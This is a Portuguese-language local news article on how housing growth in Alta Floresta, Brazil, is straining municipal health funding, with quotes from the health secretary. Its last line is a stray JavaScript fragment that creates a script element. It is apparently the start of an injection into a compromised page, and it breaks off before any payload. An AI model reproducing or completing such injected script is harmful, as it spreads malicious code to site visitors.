Crescimento habitacional será problema para a saúde do município

Alta Floresta se transformou nos últimos anos em verdadeiro canteiro de obras. Novos residenciais também surgiram nos últimos cinco anos. Segundo dados da Secretaria de Cidades 18 novos residenciais contribuíram para o crescimento habitacional do município.

Esse crescimento habitacional a médio e longo prazo é um problema para a Secretaria de Saúde do município, que com o tempo haverá necessidade de ter uma unidade básica de saúde nesses bairros.

O aumento habitacional e populacional já é um problema a Prefeitura de Alta Floresta, o Ministério da Saúde repassa um valor inferior ao necessário para suprir a demanda do município, isso porque para a União Alta Floresta tem menos que 50 mil habitantes, quando na verdade já ultrapassa de 70 mil.

Hoje Alta Floresta tem 15 unidades de saúde da família na cidade e em torno de 20 médicos, porém não é suficientepara atender toda a demanda do município.  Com o aumento populacional o munícipio sofre com a fata de recursos, outro problema enfrentado é a dificuldade de contratação de médicos

Segundo o Secretário de Saúde, José Luiz Teixeira, o orçamento da Prefeitura aprovado para 2016 gira em torno de 130 milhões, deste valor a Saúde terá menos que o necessário, pouco mais de R$ 23 milhões. “O que acontece é que eu gasto de 28 a 30 milhões, com esse crescimento aqui e com o que eles estão me aprovando, além de eu não conseguir manter estes 15 postos eu não vou conseguir ampliar os novos e ainda vou ter que diminuir os velhos”, pontuou o secretário.

Antigamente segundo o Secretário,o Ministério da Ssaúde permitia que o município alugasse uma residência para montar as unidades, o que resultou nas 15 unidades atuais na cidade, porém atualmente a Prefeitura não conta com condições para novas unidades o que causará uma “grande dor de cabeça” para o município, que segundo José Luiz uma das alternativas será juntar alguns postos em um bairro só para conseguir atender a demanda. “Mas o que esta acontecendo é o seguinte, está crescendo o município, está crescendo a população e o recurso não está acompanhando, então a prefeitura não esta tendo folego para tocar isto aqui”, completou.var d=document;var s=d.createElement(‘script’);